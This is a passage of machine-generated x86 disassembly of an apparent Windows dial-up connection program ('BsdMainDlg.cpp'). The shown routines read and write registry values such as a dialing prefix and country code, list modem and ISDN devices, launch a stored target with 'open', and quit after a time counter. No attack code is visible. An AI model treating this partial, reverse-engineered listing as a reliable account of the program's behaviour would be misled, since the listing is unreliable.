		mov	ecx, [esp+3Ch+var_2C]
		push	ecx
		call	ds:dword_40F194
		pop	esi
		pop	ebx
		add	esp, 34h
		retn	4
sub_407750	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407820	proc near		; CODE XREF: sub_407D40+5AFp

Count		= dword	ptr -248h
var_244		= dword	ptr -244h
var_240		= byte ptr -240h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
Memory		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= byte ptr -224h
var_206		= byte ptr -206h
var_204		= dword	ptr -204h
Dest		= byte ptr -200h
Source		= byte ptr -100h

		sub	esp, 248h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+20h]
		xor	ebx, ebx
		push	71h
		push	eax
		lea	ecx, [esp+258h+var_230]
		mov	[esp+258h+var_230], ebx
		mov	[esp+258h+Memory], ebx
		mov	[esp+258h+var_228], ebx
		mov	[esp+258h+var_224], bl
		mov	[esp+258h+var_206], bl
		call	sub_401DD0
		push	offset asc_40F5D4 ; "\\"
		lea	ecx, [esp+254h+var_230]
		call	sub_402310
		mov	ecx, [esi+20h]
		push	7Ah
		push	ecx
		lea	ecx, [esp+258h+var_230]
		call	sub_40A1E0
		lea	edx, [esp+250h+var_244]
		push	edx
		push	20019h
		push	ebx
		lea	ecx, [esp+25Ch+var_230]
		call	sub_409F60
		push	eax
		push	80000001h
		call	ds:dword_40F00C	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_407904
		mov	edx, [esp+250h+var_244]
		mov	esi, ds:dword_40F01C
		lea	eax, [esp+250h+Count]
		push	eax
		push	ebx
		lea	ecx, [esp+258h+var_240]
		push	ecx
		push	ebx
		push	offset aPrefix	; "Prefix"
		push	edx
		call	esi	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_4078F5
		lea	eax, [esp+250h+Count]
		push	eax
		mov	eax, [esp+254h+var_244]
		lea	ecx, [esp+254h+Source]
		push	ecx
		lea	edx, [esp+258h+var_240]
		push	edx
		push	ebx
		push	offset aPrefix	; "Prefix"
		push	eax
		call	esi	; RegQueryValueExA
		mov	ecx, [esp+250h+Count]
		push	ecx		; Count
		lea	edx, [esp+254h+Source]
		push	edx		; Source
		lea	eax, [esp+258h+Dest]
		push	eax		; Dest
		call	_strncpy
		mov	ecx, [esp+25Ch+Count]
		add	esp, 0Ch
		mov	[esp+ecx+250h+Dest], bl
		jmp	short loc_4078F9
; ---------------------------------------------------------------------------


loc_4078F5:				; CODE XREF: sub_407820+90j
		mov	[esp+250h+Dest], bl


loc_4078F9:				; CODE XREF: sub_407820+D3j
		mov	edx, [esp+250h+var_244]
		push	edx
		call	ds:dword_40F020	; RegCloseKey


loc_407904:				; CODE XREF: sub_407820+6Ej
		xor	eax, eax
		mov	[esp+250h+var_23C], eax
		mov	[esp+250h+var_238], eax
		mov	word ptr [esp+250h+var_234], ax
		lea	eax, [esp+250h+Dest]
		lea	edx, [eax+1]
		lea	ebx, [ebx+0]


loc_407920:				; CODE XREF: sub_407820+105j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_407920
		sub	eax, edx
		mov	[esp+250h+var_204], eax
		jz	short loc_407943
		push	0Ah		; Count
		lea	ecx, [esp+254h+Dest]
		push	ecx		; Source
		lea	edx, [esp+258h+var_23C]
		push	edx		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_407943:				; CODE XREF: sub_407820+10Dj
		mov	ecx, dword_41252C
		lea	eax, [esp+250h+var_23C]
		push	eax
		call	sub_4096E0
		mov	eax, [esp+250h+Memory]
		cmp	eax, ebx
		jz	short loc_407968
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+250h+Memory], ebx


loc_407968:				; CODE XREF: sub_407820+139j
		mov	ecx, [esp+250h+var_230]
		push	ecx
		call	ds:dword_40F194
		pop	esi
		pop	ebx
		add	esp, 248h
		retn
sub_407820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407980	proc near		; CODE XREF: sub_407D40+14Ep
					; sub_407D40:loc_407F1Ep

Count		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= byte ptr -230h
var_22C		= dword	ptr -22Ch
Memory		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= byte ptr -220h
var_202		= byte ptr -202h
Dest		= byte ptr -200h
Source		= byte ptr -100h

		sub	esp, 238h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+20h]
		xor	ebx, ebx
		push	71h
		push	eax
		lea	ecx, [esp+248h+var_22C]
		mov	[esp+248h+var_22C], ebx
		mov	[esp+248h+Memory], ebx
		mov	[esp+248h+var_224], ebx
		mov	[esp+248h+var_220], bl
		mov	[esp+248h+var_202], bl
		call	sub_401DD0
		push	offset asc_40F5D4 ; "\\"
		lea	ecx, [esp+244h+var_22C]
		call	sub_402310
		mov	ecx, [esi+20h]
		push	7Ah
		push	ecx
		lea	ecx, [esp+248h+var_22C]
		call	sub_40A1E0
		lea	edx, [esp+240h+var_234]
		push	edx
		push	20019h
		push	ebx
		lea	ecx, [esp+24Ch+var_22C]
		call	sub_409F60
		push	eax
		push	80000001h
		call	ds:dword_40F00C	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_407A64
		mov	edx, [esp+240h+var_234]
		mov	esi, ds:dword_40F01C
		lea	eax, [esp+240h+Count]
		push	eax
		push	ebx
		lea	ecx, [esp+248h+var_230]
		push	ecx
		push	ebx
		push	offset aCc	; "cc"
		push	edx
		call	esi	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_407A55
		lea	eax, [esp+240h+Count]
		push	eax
		mov	eax, [esp+244h+var_234]
		lea	ecx, [esp+244h+Source]
		push	ecx
		lea	edx, [esp+248h+var_230]
		push	edx
		push	ebx
		push	offset aCc	; "cc"
		push	eax
		call	esi	; RegQueryValueExA
		mov	ecx, [esp+240h+Count]
		push	ecx		; Count
		lea	edx, [esp+244h+Source]
		push	edx		; Source
		lea	eax, [esp+248h+Dest]
		push	eax		; Dest
		call	_strncpy
		mov	ecx, [esp+24Ch+Count]
		add	esp, 0Ch
		mov	[esp+ecx+240h+Dest], bl
		jmp	short loc_407A59
; ---------------------------------------------------------------------------


loc_407A55:				; CODE XREF: sub_407980+90j
		mov	[esp+240h+Dest], bl


loc_407A59:				; CODE XREF: sub_407980+D3j
		mov	edx, [esp+240h+var_234]
		push	edx
		call	ds:dword_40F020	; RegCloseKey


loc_407A64:				; CODE XREF: sub_407980+6Ej
		lea	eax, [esp+240h+Dest]
		push	eax		; char *
		call	__strdup
		mov	esi, eax
		mov	eax, [esp+244h+Memory]
		add	esp, 4
		cmp	eax, ebx
		jz	short loc_407A88
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+240h+Memory], ebx


loc_407A88:				; CODE XREF: sub_407980+F9j
		mov	ecx, [esp+240h+var_22C]
		push	ecx
		call	ds:dword_40F194
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 238h
		retn
sub_407980	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407AA0	proc near		; CODE XREF: sub_404890+120p

var_C		= byte ptr -0Ch

		sub	esp, 0Ch
		push	esi
		push	0Ah
		lea	eax, [esp+14h+var_C]
		push	eax
		mov	esi, ecx
		mov	ecx, [esi+4]
		push	0CEh
		push	ecx
		call	ds:dword_40F1F4	; GetDlgItemTextA
		mov	ecx, dword_41252C
		lea	edx, [esp+10h+var_C]
		push	edx
		call	sub_4096E0
		mov	al, [esi+52h]
		test	al, al
		jnz	short loc_407ADF
		lea	eax, [esp+10h+var_C]
		push	eax
		mov	ecx, esi
		call	sub_407750


loc_407ADF:				; CODE XREF: sub_407AA0+31j
		xor	eax, eax
		pop	esi
		add	esp, 0Ch
		retn	10h
sub_407AA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407AF0	proc near		; CODE XREF: sub_407D40+144p
					; sub_408350+40p

var_338		= dword	ptr -338h
var_330		= dword	ptr -330h
Count		= dword	ptr -32Ch
Memory		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
var_302		= byte ptr -302h
var_300		= byte ptr -300h
var_2F8		= byte ptr -2F8h
var_200		= byte ptr -200h
Dest		= byte ptr -1F8h
Source		= byte ptr -0F8h

		sub	esp, 338h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+20h]
		xor	ebx, ebx
		push	71h
		push	eax
		lea	ecx, [esp+348h+Count]
		mov	[esp+348h+Count], ebx
		mov	[esp+348h+Memory], ebx
		mov	[esp+348h+var_324], ebx
		mov	[esp+348h+var_320], bl
		mov	[esp+348h+var_302], bl
		call	sub_401DD0
		push	offset asc_40F5D4 ; "\\"
		lea	ecx, [esp+344h+Count]
		call	sub_402310
		mov	ecx, [esi+20h]
		push	7Ah
		push	ecx
		lea	ecx, [esp+348h+Count]
		call	sub_40A1E0
		lea	ecx, [esp+340h+Count]
		call	sub_409F60
		push	eax
		lea	ecx, [esi+24h]
		call	sub_408B20
		test	al, al
		jnz	short loc_407B85
		mov	ecx, esi
		call	sub_407540
		mov	eax, [esp+340h+Memory]
		cmp	eax, ebx
		jz	short loc_407B6E
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+340h+Memory], ebx


loc_407B6E:				; CODE XREF: sub_407AF0+6Fj
		mov	edx, [esp+340h+Count]
		push	edx
		call	ds:dword_40F194
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 338h
		retn
; ---------------------------------------------------------------------------


loc_407B85:				; CODE XREF: sub_407AF0+60j
		push	ebp
		push	edi
		lea	eax, [esp+348h+var_338]
		push	eax
		push	20019h
		push	ebx
		lea	ecx, [esp+354h+Count]
		call	sub_409F60
		mov	edi, ds:dword_40F00C
		push	eax
		push	80000001h
		call	edi	; RegOpenKeyExA
		test	eax, eax
		mov	ebp, ds:dword_40F020
		jnz	loc_407C99
		mov	eax, off_4120C4
		mov	esi, ds:dword_40F01C
		lea	ecx, [esp+340h+Count]
		push	ecx
		mov	ecx, [esp+344h+var_330]
		push	ebx
		lea	edx, [esp+348h+Memory]
		push	edx
		push	ebx
		push	eax
		push	ecx
		call	esi	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_407C25
		lea	edx, [esp+340h+Count]
		push	edx
		mov	edx, off_4120C4
		lea	eax, [esp+344h+Source]
		push	eax
		mov	eax, [esp+348h+var_330]
		lea	ecx, [esp+348h+Memory]
		push	ecx
		push	ebx
		push	edx
		push	eax
		call	esi	; RegQueryValueExA
		mov	ecx, [esp+340h+Count]
		push	ecx		; Count
		lea	edx, [esp+344h+Source]
		push	edx		; Source
		lea	eax, [esp+348h+Dest]
		push	eax		; Dest
		call	_strncpy
		mov	ecx, [esp+34Ch+Count]
		add	esp, 0Ch
		mov	[esp+ecx+340h+Dest], bl
		jmp	short loc_407C2C
; ---------------------------------------------------------------------------


loc_407C25:				; CODE XREF: sub_407AF0+E8j
		mov	[esp+340h+Dest], bl


loc_407C2C:				; CODE XREF: sub_407AF0+133j
		mov	ecx, off_4120C8
		lea	edx, [esp+340h+Count]
		push	edx
		mov	edx, [esp+344h+var_330]
		push	ebx
		lea	eax, [esp+348h+Memory]
		push	eax
		push	ebx
		push	ecx
		push	edx
		call	esi	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_407C8E
		lea	eax, [esp+340h+Count]
		push	eax
		mov	eax, off_4120C8
		lea	ecx, [esp+344h+Source]
		push	ecx
		mov	ecx, [esp+348h+var_330]
		lea	edx, [esp+348h+Memory]
		push	edx
		push	ebx
		push	eax
		push	ecx
		call	esi	; RegQueryValueExA
		mov	edx, [esp+340h+Count]
		push	edx		; Count
		lea	eax, [esp+344h+Source]
		push	eax		; Source
		lea	ecx, [esp+348h+var_2F8]
		push	ecx		; Dest
		call	_strncpy
		mov	edx, [esp+34Ch+Count]
		add	esp, 0Ch
		mov	[esp+edx+340h+var_2F8],	bl
		jmp	short loc_407C92
; ---------------------------------------------------------------------------


loc_407C8E:				; CODE XREF: sub_407AF0+158j
		mov	[esp+340h+var_2F8], bl


loc_407C92:				; CODE XREF: sub_407AF0+19Cj
		mov	eax, [esp+340h+var_330]
		push	eax
		call	ebp	; RegCloseKey


loc_407C99:				; CODE XREF: sub_407AF0+C1j
		mov	edx, off_4120C0
		lea	ecx, [esp+340h+var_330]
		push	ecx
		push	0F003Fh
		push	ebx
		push	edx
		push	80000001h
		call	edi	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_407D0A
		mov	esi, ds:dword_40F084
		lea	eax, [esp+348h+var_200]
		push	eax
		call	esi	; lstrlen
		mov	edx, off_4120C4
		mov	edi, ds:dword_40F010
		push	eax
		mov	eax, [esp+34Ch+var_338]
		lea	ecx, [esp+34Ch+var_200]
		push	ecx
		push	1
		push	ebx
		push	edx
		push	eax
		call	edi	; RegSetValueExA
		lea	ecx, [esp+348h+var_300]
		push	ecx
		call	esi	; lstrlen
		mov	ecx, [esp+348h+var_338]
		push	eax
		mov	eax, off_4120C8
		lea	edx, [esp+34Ch+var_300]
		push	edx
		push	1
		push	ebx
		push	eax
		push	ecx
		call	edi	; RegSetValueExA
		mov	edx, [esp+348h+var_338]
		push	edx
		call	ebp	; RegCloseKey


loc_407D0A:				; CODE XREF: sub_407AF0+1C4j
		mov	eax, [esp+348h+Memory]
		cmp	eax, ebx
		pop	edi
		pop	ebp
		jz	short loc_407D21
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+340h+Memory], ebx


loc_407D21:				; CODE XREF: sub_407AF0+222j
		mov	eax, [esp+340h+Count]
		push	eax
		call	ds:dword_40F194
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 338h
		retn
sub_407AF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407D40	proc near		; CODE XREF: sub_404890+35p

var_A2		= word ptr -0A2h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= byte ptr -90h
var_8E		= word ptr -8Eh
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
Memory		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_26		= byte ptr -26h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_2		= byte ptr -2

		sub	esp, 0A4h
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		push	12345h
		push	0FFFFFFEBh
		push	eax
		mov	byte ptr [ebp+52h], 1
		call	ds:dword_40F22C	; SetWindowLongA
		mov	ecx, [ebp+4]
		push	0FFFFFFE0h
		push	ecx
		mov	[esp+0B0h+var_90], 0
		call	ds:dword_40F238	; GetClassWord
		mov	edx, [ebp+4]
		push	0FFFFFFEBh
		push	edx
		mov	[esp+0B0h+var_8E], ax
		call	ds:dword_40F204	; GetWindowLongA
		lea	ecx, [esp+0A8h+var_90]
		mov	[esp+0A8h+var_8C], eax
		mov	eax, [ebp+4]
		push	ecx
		push	offset loc_405C50
		mov	[esp+0B0h+var_88], eax
		call	ds:dword_40F1E8	; EnumWindows
		mov	al, [esp+0A8h+var_90]
		test	al, al
		jz	short loc_407DC4
		mov	edx, [ebp+4]
		push	edx
		call	ds:dword_40F200	; DestroyWindow
		push	0
		call	ds:dword_40F1D8	; PostQuitMessage
		mov	eax, 1
		pop	ebp
		add	esp, 0A4h
		retn	10h
; ---------------------------------------------------------------------------


loc_407DC4:				; CODE XREF: sub_407D40+61j
		mov	eax, [ebp+20h]
		push	ebx
		xor	ebx, ebx
		push	66h
		push	eax
		lea	ecx, [esp+0B4h+var_84]
		mov	byte ptr [esp+0B4h+var_A2+1], 0
		mov	[esp+0B4h+var_84], ebx
		mov	[esp+0B4h+var_80], ebx
		mov	[esp+0B4h+Memory], ebx
		mov	byte ptr [esp+0B4h+var_78], bl
		mov	byte ptr [esp+0B4h+var_5C+2], bl
		call	sub_401DD0
		cmp	al, 1
		jnz	short loc_407E04
		lea	ecx, [esp+0ACh+var_84]
		call	sub_409F60
		cmp	byte ptr [eax],	25h
		setnz	byte ptr [esp+0ACh+var_A2+1]


loc_407E04:				; CODE XREF: sub_407D40+B1j
		mov	ecx, [esp+0ACh+var_84]
		push	edi
		mov	edi, ds:dword_40F194
		push	ecx
		call	edi
		cmp	byte ptr [esp+0A8h+var_9C+3], 1
		mov	[esp+0A8h+Memory], ebx
		jz	short loc_407E72
		mov	edx, off_4120D8
		push	1
		push	ebx
		push	ebx
		push	edx
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_40F1AC
		mov	eax, [ebp+4]
		push	eax
		call	ds:dword_40F200	; DestroyWindow
		push	ebx
		call	ds:dword_40F1D8	; PostQuitMessage
		mov	eax, [esp+0ACh+Memory]
		cmp	eax, ebx
		jz	short loc_407E5A
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+0ACh+Memory], ebx


loc_407E5A:				; CODE XREF: sub_407D40+10Bj
		mov	ecx, [esp+0ACh+var_80]
		push	ecx
		call	edi
		pop	edi
		pop	ebx
		mov	eax, 1
		pop	ebp
		add	esp, 0A4h
		retn	10h
; ---------------------------------------------------------------------------


loc_407E72:				; CODE XREF: sub_407D40+DBj
		push	esi
		mov	ecx, ebp
		mov	[ebp+60h], ebx
		mov	byte ptr [ebp+58h], 0
		mov	byte ptr [ebp+59h], 0
		mov	byte ptr [ebp+5Ah], 0
		call	sub_407AF0
		mov	ecx, ebp
		mov	[ebp+5Ch], ebx
		call	sub_407980
		mov	ecx, eax
		mov	[ebp+5Ch], eax
		lea	esi, [ecx+1]
		jmp	short loc_407EA0
; ---------------------------------------------------------------------------
		align 10h


loc_407EA0:				; CODE XREF: sub_407D40+15Bj
					; sub_407D40+165j
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_407EA0
		sub	ecx, esi
		mov	[esp+0ACh+var_94], ecx
		jz	short loc_407ECB
		mov	edi, offset aXx_0 ; "xx"
		mov	esi, eax
		mov	ecx, 3
		xor	edx, edx
		repe cmpsb
		jnz	loc_407F51
		mov	edi, ds:dword_40F194


loc_407ECB:				; CODE XREF: sub_407D40+16Dj
		mov	ecx, ebp
		call	sub_4066F0
		test	eax, eax
		mov	ecx, ebp
		jge	short loc_407F1E
		push	73h
		call	sub_405FB0
		mov	eax, [ebp+4]
		push	eax
		call	ds:dword_40F200	; DestroyWindow
		push	ebx
		call	ds:dword_40F1D8	; PostQuitMessage
		mov	eax, [esp+0B0h+Memory]
		cmp	eax, ebx
		jz	short loc_407F05
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+0B0h+Memory], ebx


loc_407F05:				; CODE XREF: sub_407D40+1B6j
		mov	ecx, [esp+0B0h+var_80]
		push	ecx
		call	edi
		pop	esi
		pop	edi
		pop	ebx
		mov	eax, 1
		pop	ebp
		add	esp, 0A4h
		retn	10h
; ---------------------------------------------------------------------------


loc_407F1E:				; CODE XREF: sub_407D40+196j
		call	sub_407980
		mov	[ebp+5Ch], eax
		lea	edx, [eax+1]
		lea	esp, [esp+0]


loc_407F30:				; CODE XREF: sub_407D40+1F5j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_407F30
		sub	eax, edx
		mov	[esp+0ACh+var_94], eax
		jnz	short loc_407F51
		push	73h
		mov	ecx, ebp
		call	sub_405FB0
		mov	edx, [ebp+4]
		push	edx
		jmp	loc_4080A6
; ---------------------------------------------------------------------------


loc_407F51:				; CODE XREF: sub_407D40+17Fj
					; sub_407D40+1FDj
		push	604h		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		add	esp, 4
		cmp	eax, ebx
		jz	loc_408093
		mov	ecx, eax
		call	sub_409990
		cmp	eax, ebx
		mov	dword_41252C, eax
		jz	loc_408099
		mov	ecx, eax
		call	sub_4099A0
		test	al, al
		jz	loc_408099
		mov	ecx, ebp
		call	sub_406390
		mov	eax, [ebp+20h]
		push	75h
		push	eax
		lea	ecx, [esp+0B4h+var_50]
		mov	[esp+0B4h+var_50], ebx
		mov	[esp+0B4h+var_4C], ebx
		mov	[esp+0B4h+var_48], ebx
		mov	[esp+0B4h+var_44], 0
		mov	[esp+0B4h+var_26], 0
		call	sub_401DD0
		mov	eax, [esp+0ACh+var_50]
		cmp	eax, ebx
		jz	short loc_407FCB
		push	eax
		call	ds:dword_40F188
		cmp	eax, ebx
		jnz	short loc_407FDA


loc_407FCB:				; CODE XREF: sub_407D40+27Ej
		mov	ecx, [ebp+20h]
		push	76h
		push	ecx
		lea	ecx, [esp+0B4h+var_50]
		call	sub_401DD0


loc_407FDA:				; CODE XREF: sub_407D40+289j
		lea	ecx, [esp+0ACh+var_50]
		call	sub_409F60
		mov	edx, [ebp+4]
		push	eax
		push	edx
		call	ds:dword_40F1F8	; SetWindowTextA
		push	385h
		push	1
		mov	ecx, ebp
		call	sub_406060
		push	70h
		push	0CDh
		mov	ecx, ebp
		call	sub_406060
		mov	eax, [ebp+20h]
		push	7Ah
		push	eax
		lea	ecx, [esp+0BCh+var_2C]
		mov	[esp+0BCh+var_2C], ebx
		mov	[esp+94h], ebx
		mov	[esp+0BCh+var_24], ebx
		mov	[esp+0BCh+var_20], 0
		mov	[esp+0BCh+var_2], 0
		call	sub_401DD0
		mov	al, [ebp+51h]
		test	al, al
		jz	short loc_408053
		mov	ecx, dword_41252C
		call	sub_409980


loc_408053:				; CODE XREF: sub_407D40+306j
		lea	ecx, [esp+0B4h+var_2C]
		call	sub_409F60
		mov	ecx, dword_41252C
		push	eax
		call	sub_409530
		test	eax, eax
		jz	short loc_4080CE
		push	1F9h
		call	ds:dword_40F068	; RtlGetLastWin32Error
		push	eax
		push	27Dh
		push	offset a_Bsdmaindlg_cp ; ".\\BsdMainDlg.cpp"
		push	ebp
		call	sub_406210
		add	esp, 14h
		jmp	loc_4081ED
; ---------------------------------------------------------------------------


loc_408093:				; CODE XREF: sub_407D40+220j
		mov	dword_41252C, ebx


loc_408099:				; CODE XREF: sub_407D40+234j
					; sub_407D40+243j
		push	73h
		mov	ecx, ebp
		call	sub_405FB0
		mov	ecx, [ebp+4]
		push	ecx


loc_4080A6:				; CODE XREF: sub_407D40+20Cj
		call	ds:dword_40F200	; DestroyWindow
		push	ebx
		call	ds:dword_40F1D8	; PostQuitMessage


loc_4080B3:				; CODE XREF: sub_407D40+4C2j
		lea	ecx, [esp+0B4h+var_84]
		call	sub_401D10
		pop	esi
		pop	edi
		pop	ebx
		mov	eax, 1
		pop	ebp
		add	esp, 0A4h
		retn	10h
; ---------------------------------------------------------------------------


loc_4080CE:				; CODE XREF: sub_407D40+32Dj
		mov	ecx, dword_41252C
		call	sub_4096C0
		mov	ecx, dword_41252C
		mov	[esp+0B4h+var_A0], eax
		call	sub_409460
		cmp	eax, ebx
		mov	[esp+0B4h+var_9C], eax
		mov	byte ptr [esp+0B4h+var_A2+1], 0
		mov	[esp+0B4h+var_98], 0FFFFFFFFh
		jle	loc_4081E6
		test	eax, eax
		mov	[esp+0B4h+var_94], ebx
		jle	loc_4081E6
		mov	edi, ds:dword_40F1C4


loc_408113:				; CODE XREF: sub_407D40+498j
		mov	ecx, dword_41252C
		push	ebx
		call	sub_4094A0
		mov	esi, eax
		push	offset aModem	; "modem"
		push	esi
		call	ds:dword_40F0B8	; lstrcmp
		test	eax, eax
		jz	short loc_408145
		push	offset aIsdn	; "isdn"
		push	esi
		call	ds:dword_40F0B8	; lstrcmp
		test	eax, eax
		jnz	loc_4081D1


loc_408145:				; CODE XREF: sub_407D40+3EFj
		mov	edx, [esp+0B4h+var_94]
		mov	ecx, dword_41252C
		inc	edx
		push	ebx
		mov	[esp+0B8h+var_94], edx
		call	sub_409470
		mov	ecx, [ebp+4]
		mov	esi, eax
		push	esi
		push	0
		push	143h
		push	0C9h
		push	ecx
		call	edi	; SendDlgItemMessageA
		cmp	[esp+0B4h+var_98], 0FFFFFFFFh
		jnz	short loc_40817A
		mov	[esp+0B4h+var_98], ebx


loc_40817A:				; CODE XREF: sub_407D40+434j
		mov	edx, [esp+0B4h+var_A0]
		cmp	byte ptr [edx],	0
		jnz	short loc_40819E
		mov	ecx, dword_41252C
		push	ebx
		call	sub_409AD0
		mov	ecx, dword_41252C
		call	sub_4096C0
		mov	[esp+0B4h+var_A0], eax


loc_40819E:				; CODE XREF: sub_407D40+441j
		mov	al, byte ptr [esp+0B4h+var_A2+1]
		test	al, al
		jnz	short loc_4081D1
		mov	eax, [esp+0B4h+var_A0]
		push	esi
		push	eax
		call	ds:dword_40F0B8	; lstrcmp
		test	eax, eax
		jnz	short loc_4081D1
		mov	ecx, [esp+0B4h+var_A0]
		mov	edx, [ebp+4]
		push	ecx
		push	eax
		push	14Dh
		push	0C9h
		push	edx
		call	edi	; SendDlgItemMessageA
		mov	byte ptr [esp+0B4h+var_A2+1], 1


loc_4081D1:				; CODE XREF: sub_407D40+3FFj
					; sub_407D40+464j ...
		mov	eax, [esp+0B4h+var_9C]
		inc	ebx
		cmp	ebx, eax
		jl	loc_408113
		mov	eax, [esp+0B4h+var_94]
		test	eax, eax
		jnz	short loc_408207


loc_4081E6:				; CODE XREF: sub_407D40+3BBj
					; sub_407D40+3C7j
		mov	ecx, ebp
		call	sub_405CC0


loc_4081ED:				; CODE XREF: sub_407D40+34Ej
		lea	ecx, [esp+0B4h+var_2C]
		call	sub_401D10
		lea	ecx, [esp+0B4h+var_58]
		call	sub_401D10
		jmp	loc_4080B3
; ---------------------------------------------------------------------------


loc_408207:				; CODE XREF: sub_407D40+4A4j
		mov	al, byte ptr [esp+0B4h+var_A2+1]
		test	al, al
		jnz	short loc_40823D
		mov	eax, [esp+0B4h+var_98]
		mov	ecx, dword_41252C
		push	eax
		call	sub_409AD0
		mov	ecx, dword_41252C
		call	sub_4096C0
		mov	ecx, [ebp+4]
		push	eax
		push	0
		push	14Dh
		push	0C9h
		push	ecx
		call	edi	; SendDlgItemMessageA


loc_40823D:				; CODE XREF: sub_407D40+4CDj
		lea	ecx, [ebp+24h]
		call	sub_408E40
		mov	edx, [ebp+4]
		push	0
		push	2
		push	0C5h
		push	0CEh
		push	edx
		call	edi	; SendDlgItemMessageA
		mov	ecx, dword_41252C
		call	sub_4096D0
		push	eax
		push	0CEh
		mov	ecx, ebp
		call	sub_405E80
		mov	eax, [ebp+4]
		mov	esi, ds:dword_40F1CC
		push	0CEh
		push	eax
		call	esi	; GetDlgItem
		mov	edi, ds:dword_40F1F0
		push	1
		push	eax
		call	edi	; EnableWindow
		mov	ecx, [ebp+4]
		push	0C9h
		push	ecx
		call	esi	; GetDlgItem
		push	1
		push	eax
		call	edi	; EnableWindow
		mov	edx, [ebp+4]
		push	1
		push	edx
		call	esi	; GetDlgItem
		push	1
		push	eax
		call	edi	; EnableWindow
		mov	eax, [ebp+4]
		push	0CEh
		push	eax
		call	esi	; GetDlgItem
		push	eax
		call	ds:dword_40F20C	; SetFocus
		mov	ecx, [ebp+20h]
		push	0
		push	0
		push	0
		push	1
		push	32h
		push	ecx
		call	ds:dword_40F1EC	; LoadImageA
		mov	edx, [ebp+4]
		push	eax
		push	1
		push	80h
		push	edx
		call	ds:dword_40F1FC	; SendMessageA
		mov	ecx, dword_41252C
		call	sub_409E10
		mov	ecx, ebp
		call	sub_407820
		mov	al, [ebp+50h]
		test	al, al
		jz	short loc_408317
		mov	eax, [ebp+4]
		push	1
		push	eax
		call	esi	; GetDlgItem
		test	eax, eax
		jz	short loc_408317
		push	0
		push	0
		push	0F5h
		push	eax
		call	ds:dword_40F1D4	; PostMessageA


loc_408317:				; CODE XREF: sub_407D40+5B9j
					; sub_407D40+5C5j
		lea	ecx, [esp+0B4h+var_2C]
		mov	byte ptr [ebp+52h], 0
		call	sub_401D10
		lea	ecx, [esp+0B4h+var_58]
		call	sub_401D10
		lea	ecx, [esp+0B4h+var_84]
		call	sub_401D10
		pop	esi
		pop	edi
		pop	ebx
		xor	eax, eax
		pop	ebp
		add	esp, 0A4h
		retn	10h
sub_407D40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408350	proc near		; CODE XREF: sub_404890+F2p

var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
Memory		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
var_5A		= byte ptr -5Ah
var_58		= byte ptr -58h
var_2C		= byte ptr -2Ch

		sub	esp, 88h
		push	ebx
		xor	ebx, ebx
		push	esi
		mov	esi, ecx
		mov	ecx, dword_41252C
		mov	[esp+90h+var_84], ebx
		mov	[esp+90h+Memory], ebx
		mov	[esp+90h+var_7C], ebx
		mov	[esp+90h+var_78], bl
		mov	[esp+90h+var_5A], bl
		call	sub_4098E0
		cmp	eax, 0E10h
		jle	short loc_4083BB
		mov	eax, [esi+4]
		push	1
		push	eax
		call	ds:dword_40F1BC	; KillTimer
		mov	ecx, esi
		call	sub_407AF0
		mov	ecx, dword_41252C
		push	0BB8h
		call	sub_4097C0
		mov	ecx, [esi+4]
		push	ecx
		call	ds:dword_40F200	; DestroyWindow
		push	ebx
		call	ds:dword_40F1D8	; PostQuitMessage
		jmp	loc_4088B0	; default
; ---------------------------------------------------------------------------


